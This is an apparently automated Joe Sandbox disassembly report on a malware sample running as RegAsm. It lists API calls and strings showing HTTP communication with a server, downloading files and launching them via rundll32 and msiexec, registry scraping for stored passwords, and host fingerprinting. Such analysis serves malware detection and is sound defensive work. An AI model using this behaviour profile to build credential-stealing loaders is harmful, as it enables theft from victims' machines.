HttpOpenRequestA.WININET(00000000,01503970,?,01503158,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404A0D
", xrefs: 00404D83
------, xrefs: 00404CB9
", xrefs: 00404C42
------, xrefs: 00404B78

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,01503990), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,01503158,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406519
GET, xrefs: 004063CC
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT(00000000,?), ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415116
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415412
ERROR, xrefs: 00415329
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415173

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412E42
/passive, xrefs: 00412F6B
<, xrefs: 00412FA0
.dll, xrefs: 00412CF5
.msi, xrefs: 00412EA8
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
/i ", xrefs: 00412EF4
"" , xrefs: 00412BAA

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,014F6680,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
?, xrefs: 00417E1A
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,01503990), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 4287319946-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(33B31020,004217A0), ref: 00407646
lstrcat.KERNEL32(33B31020,00000000), ref: 00407688
lstrcat.KERNEL32(33B31020, : ), ref: 0040769A
lstrcat.KERNEL32(33B31020,00000000), ref: 004076CF
lstrcat.KERNEL32(33B31020,004217A8), ref: 004076E0
lstrcat.KERNEL32(33B31020,00000000), ref: 00407713
lstrcat.KERNEL32(33B31020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
\, xrefs: 00417000
:, xrefs: 00416FFC

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01502CD8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01502CD8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
